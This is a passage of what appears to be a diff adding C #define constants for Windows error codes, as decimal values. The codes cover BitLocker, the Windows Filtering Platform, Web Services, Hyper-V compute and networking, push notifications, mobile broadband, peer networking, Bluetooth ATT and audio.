FVE_E_EXCEED_MAX_LIMIT_RP_IN_MEID -1070530300 +#define FVE_E_INVALID_TPM_BINDING_CONFIGURATION -1070530299 +#define FVE_E_TOO_MANY_TPM_BINDINGS -1070530298 +#define FVE_E_TPM_BINDING_ASSOCIATION_FAILURE -1070530297 +#define FVE_E_ORPHANED_PCR_DIGEST_DATUM -1070530296 +#define FVE_E_HW_ACCELERATED_ENCRYPTION_NOT_ALLOWED -1070530295 +#define FVE_E_NO_MATCHING_TPM_BINDINGS -1070530294 +#define FVE_E_TPMPV2_USED_FAILURE -1070530293 +#define FVE_E_NO_TPM_BINDINGS -1070530292 +#define FVE_E_FW_UPDATE_PCRS_BLOCK -1070530290 +#define FVE_E_FW_UPDATE_PCRS_NOT_EXCLUDED -1070530289 +#define FVE_E_DEVICE_NOT_JOINED -2144272112 +#define FVE_E_AAD_SERVER_FAIL_RETRY_AFTER -2144272111 +#define FVE_E_AAD_SERVER_FAIL_BACKOFF -2144272110 +#define FVE_E_FAILED_TO_UNWRAP_HW_WRAPPED_KEY -1070530285 +#define FVE_E_HARDWARE_CRYPTO_ACCELERATOR_NOT_FIPS_COMPLIANT -1070530284 +#define FVE_E_HARDWARE_CRYPTO_KEY_MANAGER_NOT_FIPS_COMPLIANT -1070530283 +#define FVE_E_TPM_PCRS_DO_NOT_MATCH_LOG -1070530282 +#define FWP_E_CALLOUT_NOT_FOUND -2144206847 +#define FWP_E_CONDITION_NOT_FOUND -2144206846 +#define FWP_E_FILTER_NOT_FOUND -2144206845 +#define FWP_E_LAYER_NOT_FOUND -2144206844 +#define FWP_E_PROVIDER_NOT_FOUND -2144206843 +#define FWP_E_PROVIDER_CONTEXT_NOT_FOUND -2144206842 +#define FWP_E_SUBLAYER_NOT_FOUND -2144206841 +#define FWP_E_NOT_FOUND -2144206840 +#define FWP_E_ALREADY_EXISTS -2144206839 +#define FWP_E_IN_USE -2144206838 +#define FWP_E_DYNAMIC_SESSION_IN_PROGRESS -2144206837 +#define FWP_E_WRONG_SESSION -2144206836 +#define FWP_E_NO_TXN_IN_PROGRESS -2144206835 +#define FWP_E_TXN_IN_PROGRESS -2144206834 +#define FWP_E_TXN_ABORTED -2144206833 +#define FWP_E_SESSION_ABORTED -2144206832 +#define FWP_E_INCOMPATIBLE_TXN -2144206831 +#define FWP_E_TIMEOUT -2144206830 +#define FWP_E_NET_EVENTS_DISABLED -2144206829 +#define FWP_E_INCOMPATIBLE_LAYER -2144206828 +#define FWP_E_KM_CLIENTS_ONLY -2144206827 +#define FWP_E_LIFETIME_MISMATCH -2144206826 +#define FWP_E_BUILTIN_OBJECT -2144206825 +#define FWP_E_TOO_MANY_CALLOUTS -2144206824 +#define FWP_E_NOTIFICATION_DROPPED -2144206823 +#define FWP_E_TRAFFIC_MISMATCH -2144206822 +#define FWP_E_INCOMPATIBLE_SA_STATE -2144206821 +#define FWP_E_NULL_POINTER -2144206820 +#define FWP_E_INVALID_ENUMERATOR -2144206819 +#define FWP_E_INVALID_FLAGS -2144206818 +#define FWP_E_INVALID_NET_MASK -2144206817 +#define FWP_E_INVALID_RANGE -2144206816 +#define FWP_E_INVALID_INTERVAL -2144206815 +#define FWP_E_ZERO_LENGTH_ARRAY -2144206814 +#define FWP_E_NULL_DISPLAY_NAME -2144206813 +#define FWP_E_INVALID_ACTION_TYPE -2144206812 +#define FWP_E_INVALID_WEIGHT -2144206811 +#define FWP_E_MATCH_TYPE_MISMATCH -2144206810 +#define FWP_E_TYPE_MISMATCH -2144206809 +#define FWP_E_OUT_OF_BOUNDS -2144206808 +#define FWP_E_RESERVED -2144206807 +#define FWP_E_DUPLICATE_CONDITION -2144206806 +#define FWP_E_DUPLICATE_KEYMOD -2144206805 +#define FWP_E_ACTION_INCOMPATIBLE_WITH_LAYER -2144206804 +#define FWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER -2144206803 +#define FWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER -2144206802 +#define FWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT -2144206801 +#define FWP_E_INCOMPATIBLE_AUTH_METHOD -2144206800 +#define FWP_E_INCOMPATIBLE_DH_GROUP -2144206799 +#define FWP_E_EM_NOT_SUPPORTED -2144206798 +#define FWP_E_NEVER_MATCH -2144206797 +#define FWP_E_PROVIDER_CONTEXT_MISMATCH -2144206796 +#define FWP_E_INVALID_PARAMETER -2144206795 +#define FWP_E_TOO_MANY_SUBLAYERS -2144206794 +#define FWP_E_CALLOUT_NOTIFICATION_FAILED -2144206793 +#define FWP_E_INVALID_AUTH_TRANSFORM -2144206792 +#define FWP_E_INVALID_CIPHER_TRANSFORM -2144206791 +#define FWP_E_INCOMPATIBLE_CIPHER_TRANSFORM -2144206790 +#define FWP_E_INVALID_TRANSFORM_COMBINATION -2144206789 +#define FWP_E_DUPLICATE_AUTH_METHOD -2144206788 +#define FWP_E_INVALID_TUNNEL_ENDPOINT -2144206787 +#define FWP_E_L2_DRIVER_NOT_READY -2144206786 +#define FWP_E_KEY_DICTATOR_ALREADY_REGISTERED -2144206785 +#define FWP_E_KEY_DICTATION_INVALID_KEYING_MATERIAL -2144206784 +#define FWP_E_CONNECTIONS_DISABLED -2144206783 +#define FWP_E_INVALID_DNS_NAME -2144206782 +#define FWP_E_STILL_ON -2144206781 +#define FWP_E_IKEEXT_NOT_RUNNING -2144206780 +#define FWP_E_DROP_NOICMP -2144206588 +#define WS_S_ASYNC 3997696 +#define WS_S_END 3997697 +#define WS_E_INVALID_FORMAT -2143485952 +#define WS_E_OBJECT_FAULTED -2143485951 +#define WS_E_NUMERIC_OVERFLOW -2143485950 +#define WS_E_INVALID_OPERATION -2143485949 +#define WS_E_OPERATION_ABORTED -2143485948 +#define WS_E_ENDPOINT_ACCESS_DENIED -2143485947 +#define WS_E_OPERATION_TIMED_OUT -2143485946 +#define WS_E_OPERATION_ABANDONED -2143485945 +#define WS_E_QUOTA_EXCEEDED -2143485944 +#define WS_E_NO_TRANSLATION_AVAILABLE -2143485943 +#define WS_E_SECURITY_VERIFICATION_FAILURE -2143485942 +#define WS_E_ADDRESS_IN_USE -2143485941 +#define WS_E_ADDRESS_NOT_AVAILABLE -2143485940 +#define WS_E_ENDPOINT_NOT_FOUND -2143485939 +#define WS_E_ENDPOINT_NOT_AVAILABLE -2143485938 +#define WS_E_ENDPOINT_FAILURE -2143485937 +#define WS_E_ENDPOINT_UNREACHABLE -2143485936 +#define WS_E_ENDPOINT_ACTION_NOT_SUPPORTED -2143485935 +#define WS_E_ENDPOINT_TOO_BUSY -2143485934 +#define WS_E_ENDPOINT_FAULT_RECEIVED -2143485933 +#define WS_E_ENDPOINT_DISCONNECTED -2143485932 +#define WS_E_PROXY_FAILURE -2143485931 +#define WS_E_PROXY_ACCESS_DENIED -2143485930 +#define WS_E_NOT_SUPPORTED -2143485929 +#define WS_E_PROXY_REQUIRES_BASIC_AUTH -2143485928 +#define WS_E_PROXY_REQUIRES_DIGEST_AUTH -2143485927 +#define WS_E_PROXY_REQUIRES_NTLM_AUTH -2143485926 +#define WS_E_PROXY_REQUIRES_NEGOTIATE_AUTH -2143485925 +#define WS_E_SERVER_REQUIRES_BASIC_AUTH -2143485924 +#define WS_E_SERVER_REQUIRES_DIGEST_AUTH -2143485923 +#define WS_E_SERVER_REQUIRES_NTLM_AUTH -2143485922 +#define WS_E_SERVER_REQUIRES_NEGOTIATE_AUTH -2143485921 +#define WS_E_INVALID_ENDPOINT_URL -2143485920 +#define WS_E_OTHER -2143485919 +#define WS_E_SECURITY_TOKEN_EXPIRED -2143485918 +#define WS_E_SECURITY_SYSTEM_FAILURE -2143485917 +#define HCS_E_TERMINATED_DURING_START -2143878912 +#define HCS_E_IMAGE_MISMATCH -2143878911 +#define HCS_E_HYPERV_NOT_INSTALLED -2143878910 +#define HCS_E_INVALID_STATE -2143878907 +#define HCS_E_UNEXPECTED_EXIT -2143878906 +#define HCS_E_TERMINATED -2143878905 +#define HCS_E_CONNECT_FAILED -2143878904 +#define HCS_E_CONNECTION_TIMEOUT -2143878903 +#define HCS_E_CONNECTION_CLOSED -2143878902 +#define HCS_E_UNKNOWN_MESSAGE -2143878901 +#define HCS_E_UNSUPPORTED_PROTOCOL_VERSION -2143878900 +#define HCS_E_INVALID_JSON -2143878899 +#define HCS_E_SYSTEM_NOT_FOUND -2143878898 +#define HCS_E_SYSTEM_ALREADY_EXISTS -2143878897 +#define HCS_E_SYSTEM_ALREADY_STOPPED -2143878896 +#define HCS_E_PROTOCOL_ERROR -2143878895 +#define HCS_E_INVALID_LAYER -2143878894 +#define HCS_E_WINDOWS_INSIDER_REQUIRED -2143878893 +#define HCS_E_SERVICE_NOT_AVAILABLE -2143878892 +#define HCS_E_OPERATION_NOT_STARTED -2143878891 +#define HCS_E_OPERATION_ALREADY_STARTED -2143878890 +#define HCS_E_OPERATION_PENDING -2143878889 +#define HCS_E_OPERATION_TIMEOUT -2143878888 +#define HCS_E_OPERATION_SYSTEM_CALLBACK_ALREADY_SET -2143878887 +#define HCS_E_OPERATION_RESULT_ALLOCATION_FAILED -2143878886 +#define HCS_E_ACCESS_DENIED -2143878885 +#define HCS_E_GUEST_CRITICAL_ERROR -2143878884 +#define HCS_E_PROCESS_INFO_NOT_AVAILABLE -2143878883 +#define HCS_E_SERVICE_DISCONNECT -2143878882 +#define HCS_E_PROCESS_ALREADY_STOPPED -2143878881 +#define HCS_E_SYSTEM_NOT_CONFIGURED_FOR_OPERATION -2143878880 +#define HCS_E_OPERATION_ALREADY_CANCELLED -2143878879 +#define WHV_E_UNKNOWN_CAPABILITY -2143878400 +#define WHV_E_INSUFFICIENT_BUFFER -2143878399 +#define WHV_E_UNKNOWN_PROPERTY -2143878398 +#define WHV_E_UNSUPPORTED_HYPERVISOR_CONFIG -2143878397 +#define WHV_E_INVALID_PARTITION_CONFIG -2143878396 +#define WHV_E_GPA_RANGE_NOT_FOUND -2143878395 +#define WHV_E_VP_ALREADY_EXISTS -2143878394 +#define WHV_E_VP_DOES_NOT_EXIST -2143878393 +#define WHV_E_INVALID_VP_STATE -2143878392 +#define WHV_E_INVALID_VP_REGISTER_NAME -2143878391 +#define WHV_E_UNSUPPORTED_PROCESSOR_CONFIG -2143878384 +#define VM_SAVED_STATE_DUMP_E_PARTITION_STATE_NOT_FOUND -1070136064 +#define VM_SAVED_STATE_DUMP_E_GUEST_MEMORY_NOT_FOUND -1070136063 +#define VM_SAVED_STATE_DUMP_E_NO_VP_FOUND_IN_PARTITION_STATE -1070136062 +#define VM_SAVED_STATE_DUMP_E_NESTED_VIRTUALIZATION_NOT_SUPPORTED -1070136061 +#define VM_SAVED_STATE_DUMP_E_WINDOWS_KERNEL_IMAGE_NOT_FOUND -1070136060 +#define VM_SAVED_STATE_DUMP_E_VA_NOT_MAPPED -1070136059 +#define VM_SAVED_STATE_DUMP_E_INVALID_VP_STATE -1070136058 +#define VM_SAVED_STATE_DUMP_E_VP_VTL_NOT_ENABLED -1070136055 +#define ERROR_DM_OPERATION_LIMIT_EXCEEDED -1070135808 +#define VM_E_CLIENT_NAME_REQUIRED -1070135552 +#define VM_E_MODIFY_VTL2_SETTINGS_CONFLICT -1070135551 +#define VM_E_VTL2_NOT_AVAILABLE -1070135550 +#define VM_E_MANAGEMENT_VTL_RELOAD_IN_PROGRESS -1070135296 +#define VM_E_MANAGEMENT_VTL_RELOAD_INVALID_PROTOCOL_RESPONSE -1070135295 +#define VM_E_MANAGEMENT_VTL_RELOAD_SAVE_FAILURE -1070135294 +#define VM_E_MANAGEMENT_VTL_RELOAD_RESTORE_FAILURE -1070135293 +#define VM_E_MANAGEMENT_VTL_RELOAD_NO_SAVED_STATE -1070135292 +#define VM_E_MANAGEMENT_VTL_RELOAD_INVALID_SAVE_NOTIFICATION_RECEIVED -1070135291 +#define VM_E_MANAGEMENT_VTL_RELOAD_INVALID_RESTORE_REQUEST_RECEIVED -1070135290 +#define VM_E_MANAGEMENT_VTL_RELOAD_INVALID_RESTORE_NOTIFICATION_RECEIVED -1070135289 +#define VM_E_MANAGEMENT_VTL_RELOAD_NO_IGVM_FILE -1070135288 +#define VM_E_MANAGEMENT_VTL_RELOAD_UNSUPPORTED -1070135287 +#define VM_E_MANAGEMENT_VTL_PROTOCOL_ESTABLISHMENT_TIMEOUT -1070135286 +#define HCN_E_NETWORK_NOT_FOUND -2143617023 +#define HCN_E_ENDPOINT_NOT_FOUND -2143617022 +#define HCN_E_LAYER_NOT_FOUND -2143617021 +#define HCN_E_SWITCH_NOT_FOUND -2143617020 +#define HCN_E_SUBNET_NOT_FOUND -2143617019 +#define HCN_E_ADAPTER_NOT_FOUND -2143617018 +#define HCN_E_PORT_NOT_FOUND -2143617017 +#define HCN_E_POLICY_NOT_FOUND -2143617016 +#define HCN_E_VFP_PORTSETTING_NOT_FOUND -2143617015 +#define HCN_E_INVALID_NETWORK -2143617014 +#define HCN_E_INVALID_NETWORK_TYPE -2143617013 +#define HCN_E_INVALID_ENDPOINT -2143617012 +#define HCN_E_INVALID_POLICY -2143617011 +#define HCN_E_INVALID_POLICY_TYPE -2143617010 +#define HCN_E_INVALID_REMOTE_ENDPOINT_OPERATION -2143617009 +#define HCN_E_NETWORK_ALREADY_EXISTS -2143617008 +#define HCN_E_LAYER_ALREADY_EXISTS -2143617007 +#define HCN_E_POLICY_ALREADY_EXISTS -2143617006 +#define HCN_E_PORT_ALREADY_EXISTS -2143617005 +#define HCN_E_ENDPOINT_ALREADY_ATTACHED -2143617004 +#define HCN_E_REQUEST_UNSUPPORTED -2143617003 +#define HCN_E_MAPPING_NOT_SUPPORTED -2143617002 +#define HCN_E_DEGRADED_OPERATION -2143617001 +#define HCN_E_SHARED_SWITCH_MODIFICATION -2143617000 +#define HCN_E_GUID_CONVERSION_FAILURE -2143616999 +#define HCN_E_REGKEY_FAILURE -2143616998 +#define HCN_E_INVALID_JSON -2143616997 +#define HCN_E_INVALID_JSON_REFERENCE -2143616996 +#define HCN_E_ENDPOINT_SHARING_DISABLED -2143616995 +#define HCN_E_INVALID_IP -2143616994 +#define HCN_E_SWITCH_EXTENSION_NOT_FOUND -2143616993 +#define HCN_E_MANAGER_STOPPED -2143616992 +#define GCN_E_MODULE_NOT_FOUND -2143616991 +#define GCN_E_NO_REQUEST_HANDLERS -2143616990 +#define GCN_E_REQUEST_UNSUPPORTED -2143616989 +#define GCN_E_RUNTIMEKEYS_FAILED -2143616988 +#define GCN_E_NETADAPTER_TIMEOUT -2143616987 +#define GCN_E_NETADAPTER_NOT_FOUND -2143616986 +#define GCN_E_NETCOMPARTMENT_NOT_FOUND -2143616985 +#define GCN_E_NETINTERFACE_NOT_FOUND -2143616984 +#define GCN_E_DEFAULTNAMESPACE_EXISTS -2143616983 +#define HCN_E_ICS_DISABLED -2143616982 +#define HCN_E_ENDPOINT_NAMESPACE_ALREADY_EXISTS -2143616981 +#define HCN_E_ENTITY_HAS_REFERENCES -2143616980 +#define HCN_E_INVALID_INTERNAL_PORT -2143616979 +#define HCN_E_NAMESPACE_ATTACH_FAILED -2143616978 +#define HCN_E_ADDR_INVALID_OR_RESERVED -2143616977 +#define HCN_E_INVALID_PREFIX -2143616976 +#define HCN_E_OBJECT_USED_AFTER_UNLOAD -2143616975 +#define HCN_E_INVALID_SUBNET -2143616974 +#define HCN_E_INVALID_IP_SUBNET -2143616973 +#define HCN_E_ENDPOINT_NOT_ATTACHED -2143616972 +#define HCN_E_ENDPOINT_NOT_LOCAL -2143616971 +#define HCN_INTERFACEPARAMETERS_ALREADY_APPLIED -2143616970 +#define HCN_E_VFP_NOT_ALLOWED -2143616969 +#define SDIAG_E_CANCELLED -2143551232 +#define SDIAG_E_SCRIPT -2143551231 +#define SDIAG_E_POWERSHELL -2143551230 +#define SDIAG_E_MANAGEDHOST -2143551229 +#define SDIAG_E_NOVERIFIER -2143551228 +#define SDIAG_S_CANNOTRUN 3932421 +#define SDIAG_E_DISABLED -2143551226 +#define SDIAG_E_TRUST -2143551225 +#define SDIAG_E_CANNOTRUN -2143551224 +#define SDIAG_E_VERSION -2143551223 +#define SDIAG_E_RESOURCE -2143551222 +#define SDIAG_E_ROOTCAUSE -2143551221 +#define WPN_E_CHANNEL_CLOSED -2143420160 +#define WPN_E_CHANNEL_REQUEST_NOT_COMPLETE -2143420159 +#define WPN_E_INVALID_APP -2143420158 +#define WPN_E_OUTSTANDING_CHANNEL_REQUEST -2143420157 +#define WPN_E_DUPLICATE_CHANNEL -2143420156 +#define WPN_E_PLATFORM_UNAVAILABLE -2143420155 +#define WPN_E_NOTIFICATION_POSTED -2143420154 +#define WPN_E_NOTIFICATION_HIDDEN -2143420153 +#define WPN_E_NOTIFICATION_NOT_POSTED -2143420152 +#define WPN_E_CLOUD_DISABLED -2143420151 +#define WPN_E_CLOUD_INCAPABLE -2143420144 +#define WPN_E_CLOUD_AUTH_UNAVAILABLE -2143420134 +#define WPN_E_CLOUD_SERVICE_UNAVAILABLE -2143420133 +#define WPN_E_FAILED_LOCK_SCREEN_UPDATE_INTIALIZATION -2143420132 +#define WPN_E_NOTIFICATION_DISABLED -2143420143 +#define WPN_E_NOTIFICATION_INCAPABLE -2143420142 +#define WPN_E_INTERNET_INCAPABLE -2143420141 +#define WPN_E_NOTIFICATION_TYPE_DISABLED -2143420140 +#define WPN_E_NOTIFICATION_SIZE -2143420139 +#define WPN_E_TAG_SIZE -2143420138 +#define WPN_E_ACCESS_DENIED -2143420137 +#define WPN_E_DUPLICATE_REGISTRATION -2143420136 +#define WPN_E_PUSH_NOTIFICATION_INCAPABLE -2143420135 +#define WPN_E_DEV_ID_SIZE -2143420128 +#define WPN_E_TAG_ALPHANUMERIC -2143420118 +#define WPN_E_INVALID_HTTP_STATUS_CODE -2143420117 +#define WPN_E_OUT_OF_SESSION -2143419904 +#define WPN_E_POWER_SAVE -2143419903 +#define WPN_E_IMAGE_NOT_FOUND_IN_CACHE -2143419902 +#define WPN_E_ALL_URL_NOT_COMPLETED -2143419901 +#define WPN_E_INVALID_CLOUD_IMAGE -2143419900 +#define WPN_E_NOTIFICATION_ID_MATCHED -2143419899 +#define WPN_E_CALLBACK_ALREADY_REGISTERED -2143419898 +#define WPN_E_TOAST_NOTIFICATION_DROPPED -2143419897 +#define WPN_E_STORAGE_LOCKED -2143419896 +#define WPN_E_GROUP_SIZE -2143419895 +#define WPN_E_GROUP_ALPHANUMERIC -2143419894 +#define WPN_E_CLOUD_DISABLED_FOR_APP -2143419893 +#define E_MBN_CONTEXT_NOT_ACTIVATED -2141945343 +#define E_MBN_BAD_SIM -2141945342 +#define E_MBN_DATA_CLASS_NOT_AVAILABLE -2141945341 +#define E_MBN_INVALID_ACCESS_STRING -2141945340 +#define E_MBN_MAX_ACTIVATED_CONTEXTS -2141945339 +#define E_MBN_PACKET_SVC_DETACHED -2141945338 +#define E_MBN_PROVIDER_NOT_VISIBLE -2141945337 +#define E_MBN_RADIO_POWER_OFF -2141945336 +#define E_MBN_SERVICE_NOT_ACTIVATED -2141945335 +#define E_MBN_SIM_NOT_INSERTED -2141945334 +#define E_MBN_VOICE_CALL_IN_PROGRESS -2141945333 +#define E_MBN_INVALID_CACHE -2141945332 +#define E_MBN_NOT_REGISTERED -2141945331 +#define E_MBN_PROVIDERS_NOT_FOUND -2141945330 +#define E_MBN_PIN_NOT_SUPPORTED -2141945329 +#define E_MBN_PIN_REQUIRED -2141945328 +#define E_MBN_PIN_DISABLED -2141945327 +#define E_MBN_FAILURE -2141945326 +#define E_MBN_INVALID_PROFILE -2141945320 +#define E_MBN_DEFAULT_PROFILE_EXIST -2141945319 +#define E_MBN_SMS_ENCODING_NOT_SUPPORTED -2141945312 +#define E_MBN_SMS_FILTER_NOT_SUPPORTED -2141945311 +#define E_MBN_SMS_INVALID_MEMORY_INDEX -2141945310 +#define E_MBN_SMS_LANG_NOT_SUPPORTED -2141945309 +#define E_MBN_SMS_MEMORY_FAILURE -2141945308 +#define E_MBN_SMS_NETWORK_TIMEOUT -2141945307 +#define E_MBN_SMS_UNKNOWN_SMSC_ADDRESS -2141945306 +#define E_MBN_SMS_FORMAT_NOT_SUPPORTED -2141945305 +#define E_MBN_SMS_OPERATION_NOT_ALLOWED -2141945304 +#define E_MBN_SMS_MEMORY_FULL -2141945303 +#define PEER_E_IPV6_NOT_INSTALLED -2140995583 +#define PEER_E_NOT_INITIALIZED -2140995582 +#define PEER_E_CANNOT_START_SERVICE -2140995581 +#define PEER_E_NOT_LICENSED -2140995580 +#define PEER_E_INVALID_GRAPH -2140995568 +#define PEER_E_DBNAME_CHANGED -2140995567 +#define PEER_E_DUPLICATE_GRAPH -2140995566 +#define PEER_E_GRAPH_NOT_READY -2140995565 +#define PEER_E_GRAPH_SHUTTING_DOWN -2140995564 +#define PEER_E_GRAPH_IN_USE -2140995563 +#define PEER_E_INVALID_DATABASE -2140995562 +#define PEER_E_TOO_MANY_ATTRIBUTES -2140995561 +#define PEER_E_CONNECTION_NOT_FOUND -2140995325 +#define PEER_E_CONNECT_SELF -2140995322 +#define PEER_E_ALREADY_LISTENING -2140995321 +#define PEER_E_NODE_NOT_FOUND -2140995320 +#define PEER_E_CONNECTION_FAILED -2140995319 +#define PEER_E_CONNECTION_NOT_AUTHENTICATED -2140995318 +#define PEER_E_CONNECTION_REFUSED -2140995317 +#define PEER_E_CLASSIFIER_TOO_LONG -2140995071 +#define PEER_E_TOO_MANY_IDENTITIES -2140995070 +#define PEER_E_NO_KEY_ACCESS -2140995069 +#define PEER_E_GROUPS_EXIST -2140995068 +#define PEER_E_RECORD_NOT_FOUND -2140994815 +#define PEER_E_DATABASE_ACCESSDENIED -2140994814 +#define PEER_E_DBINITIALIZATION_FAILED -2140994813 +#define PEER_E_MAX_RECORD_SIZE_EXCEEDED -2140994812 +#define PEER_E_DATABASE_ALREADY_PRESENT -2140994811 +#define PEER_E_DATABASE_NOT_PRESENT -2140994810 +#define PEER_E_IDENTITY_NOT_FOUND -2140994559 +#define PEER_E_EVENT_HANDLE_NOT_FOUND -2140994303 +#define PEER_E_INVALID_SEARCH -2140994047 +#define PEER_E_INVALID_ATTRIBUTES -2140994046 +#define PEER_E_INVITATION_NOT_TRUSTED -2140993791 +#define PEER_E_CHAIN_TOO_LONG -2140993789 +#define PEER_E_INVALID_TIME_PERIOD -2140993787 +#define PEER_E_CIRCULAR_CHAIN_DETECTED -2140993786 +#define PEER_E_CERT_STORE_CORRUPTED -2140993535 +#define PEER_E_NO_CLOUD -2140991487 +#define PEER_E_CLOUD_NAME_AMBIGUOUS -2140991483 +#define PEER_E_INVALID_RECORD -2140987376 +#define PEER_E_NOT_AUTHORIZED -2140987360 +#define PEER_E_PASSWORD_DOES_NOT_MEET_POLICY -2140987359 +#define PEER_E_DEFERRED_VALIDATION -2140987344 +#define PEER_E_INVALID_GROUP_PROPERTIES -2140987328 +#define PEER_E_INVALID_PEER_NAME -2140987312 +#define PEER_E_INVALID_CLASSIFIER -2140987296 +#define PEER_E_INVALID_FRIENDLY_NAME -2140987280 +#define PEER_E_INVALID_ROLE_PROPERTY -2140987279 +#define PEER_E_INVALID_CLASSIFIER_PROPERTY -2140987278 +#define PEER_E_INVALID_RECORD_EXPIRATION -2140987264 +#define PEER_E_INVALID_CREDENTIAL_INFO -2140987263 +#define PEER_E_INVALID_CREDENTIAL -2140987262 +#define PEER_E_INVALID_RECORD_SIZE -2140987261 +#define PEER_E_UNSUPPORTED_VERSION -2140987248 +#define PEER_E_GROUP_NOT_READY -2140987247 +#define PEER_E_GROUP_IN_USE -2140987246 +#define PEER_E_INVALID_GROUP -2140987245 +#define PEER_E_NO_MEMBERS_FOUND -2140987244 +#define PEER_E_NO_MEMBER_CONNECTIONS -2140987243 +#define PEER_E_UNABLE_TO_LISTEN -2140987242 +#define PEER_E_IDENTITY_DELETED -2140987232 +#define PEER_E_SERVICE_NOT_AVAILABLE -2140987231 +#define PEER_E_CONTACT_NOT_FOUND -2140971007 +#define PEER_S_GRAPH_DATA_CREATED 6488065 +#define PEER_S_NO_EVENT_DATA 6488066 +#define PEER_S_ALREADY_CONNECTED 6496256 +#define PEER_S_SUBSCRIPTION_EXISTS 6512640 +#define PEER_S_NO_CONNECTIVITY 6488069 +#define PEER_S_ALREADY_A_MEMBER 6488070 +#define PEER_E_CANNOT_CONVERT_PEER_NAME -2140979199 +#define PEER_E_INVALID_PEER_HOST_NAME -2140979198 +#define PEER_E_NO_MORE -2140979197 +#define PEER_E_PNRP_DUPLICATE_PEER_NAME -2140979195 +#define PEER_E_INVITE_CANCELLED -2140966912 +#define PEER_E_INVITE_RESPONSE_NOT_AVAILABLE -2140966911 +#define PEER_E_NOT_SIGNED_IN -2140966909 +#define PEER_E_PRIVACY_DECLINED -2140966908 +#define PEER_E_TIMEOUT -2140966907 +#define PEER_E_INVALID_ADDRESS -2140966905 +#define PEER_E_FW_EXCEPTION_DISABLED -2140966904 +#define PEER_E_FW_BLOCKED_BY_POLICY -2140966903 +#define PEER_E_FW_BLOCKED_BY_SHIELDS_UP -2140966902 +#define PEER_E_FW_DECLINED -2140966901 +#define UI_E_CREATE_FAILED -2144731135 +#define UI_E_SHUTDOWN_CALLED -2144731134 +#define UI_E_ILLEGAL_REENTRANCY -2144731133 +#define UI_E_OBJECT_SEALED -2144731132 +#define UI_E_VALUE_NOT_SET -2144731131 +#define UI_E_VALUE_NOT_DETERMINED -2144731130 +#define UI_E_INVALID_OUTPUT -2144731129 +#define UI_E_BOOLEAN_EXPECTED -2144731128 +#define UI_E_DIFFERENT_OWNER -2144731127 +#define UI_E_AMBIGUOUS_MATCH -2144731126 +#define UI_E_FP_OVERFLOW -2144731125 +#define UI_E_WRONG_THREAD -2144731124 +#define UI_E_STORYBOARD_ACTIVE -2144730879 +#define UI_E_STORYBOARD_NOT_PLAYING -2144730878 +#define UI_E_START_KEYFRAME_AFTER_END -2144730877 +#define UI_E_END_KEYFRAME_NOT_DETERMINED -2144730876 +#define UI_E_LOOPS_OVERLAP -2144730875 +#define UI_E_TRANSITION_ALREADY_USED -2144730874 +#define UI_E_TRANSITION_NOT_IN_STORYBOARD -2144730873 +#define UI_E_TRANSITION_ECLIPSED -2144730872 +#define UI_E_TIME_BEFORE_LAST_UPDATE -2144730871 +#define UI_E_TIMER_CLIENT_ALREADY_CONNECTED -2144730870 +#define UI_E_INVALID_DIMENSION -2144730869 +#define UI_E_PRIMITIVE_OUT_OF_BOUNDS -2144730868 +#define UI_E_WINDOW_CLOSED -2144730623 +#define E_BLUETOOTH_ATT_INVALID_HANDLE -2140864511 +#define E_BLUETOOTH_ATT_READ_NOT_PERMITTED -2140864510 +#define E_BLUETOOTH_ATT_WRITE_NOT_PERMITTED -2140864509 +#define E_BLUETOOTH_ATT_INVALID_PDU -2140864508 +#define E_BLUETOOTH_ATT_INSUFFICIENT_AUTHENTICATION -2140864507 +#define E_BLUETOOTH_ATT_REQUEST_NOT_SUPPORTED -2140864506 +#define E_BLUETOOTH_ATT_INVALID_OFFSET -2140864505 +#define E_BLUETOOTH_ATT_INSUFFICIENT_AUTHORIZATION -2140864504 +#define E_BLUETOOTH_ATT_PREPARE_QUEUE_FULL -2140864503 +#define E_BLUETOOTH_ATT_ATTRIBUTE_NOT_FOUND -2140864502 +#define E_BLUETOOTH_ATT_ATTRIBUTE_NOT_LONG -2140864501 +#define E_BLUETOOTH_ATT_INSUFFICIENT_ENCRYPTION_KEY_SIZE -2140864500 +#define E_BLUETOOTH_ATT_INVALID_ATTRIBUTE_VALUE_LENGTH -2140864499 +#define E_BLUETOOTH_ATT_UNLIKELY -2140864498 +#define E_BLUETOOTH_ATT_INSUFFICIENT_ENCRYPTION -2140864497 +#define E_BLUETOOTH_ATT_UNSUPPORTED_GROUP_TYPE -2140864496 +#define E_BLUETOOTH_ATT_INSUFFICIENT_RESOURCES -2140864495 +#define E_BLUETOOTH_ATT_UNKNOWN_ERROR -2140860416 +#define E_AUDIO_ENGINE_NODE_NOT_FOUND -2140798975 +#define E_HDAUDIO_EMPTY_CONNECTION_LIST -2140798974 +#define E_HDAUDIO_CONNECTION_LIST_NOT_SUPPORTED -2140798973 +#define E_HDAUDIO_NO_LOGICAL_DEVICES_CREATED -2140798972 +#define E_HDAUDIO_NULL_LINKED_LIST_ENTRY -2140798971 +#define E_SOUNDWIRE_COMMAND_ABORTED -2140798970 +#define E_SOUNDWIRE_COMMAND_IGNORED -2140798969 +#define E_SOUNDWIRE_COMMAND_FAILED -2140798968 +#define STATEREPOSITORY_E_CONCURRENCY_LOCKING_FAILURE -2140733439 +#define STATEREPOSITORY_E_STATEMENT_INPROGRESS -2140733438 +#define STATEREPOSITORY_E_CONFIGURATION_INVALID -2140733437 +#define STATEREPOSITORY_E_UNKNOWN_SCHEMA_VERSION -2140733436 +#define STATEREPOSITORY_ERROR_DICTIONARY_CORRUPTED -2140733435 +#define STATEREPOSITORY_E_BLOCKED -2140733434 +#define STATEREPOSITORY_E_BUSY_RETRY -2140733433 +#define STATEREPOSITORY_E_BUSY_RECOVERY_RETRY -2140733432 +#define STATEREPOSITORY_E_LOCKED_RETRY -2140733431 +#define STATEREPOSITORY_E_LOCKED_SHAREDCACHE_RETRY -2140733430 +#define STATEREPOSITORY_E_TRANSACTION_REQUIRED -2140733429 +#define STATEREPOSITORY_E_BUSY_TIMEOUT_EXCEEDED -2140733428 +#define STATEREPOSITORY_E_BUSY_RECOVERY_TIMEOUT_EXCEEDED -2140733427 +#define STATEREPOSITORY_E_LOCKED_TIMEOUT_EXCEEDED -2140733426 +#define STATEREPOSITORY_E_LOCKED_SHAREDCACHE_TIMEOUT_EXCEEDED -2140733425 +#define STATEREPOSITORY_E_SERVICE_STOP_IN_PROGRESS -2140733424 +#define 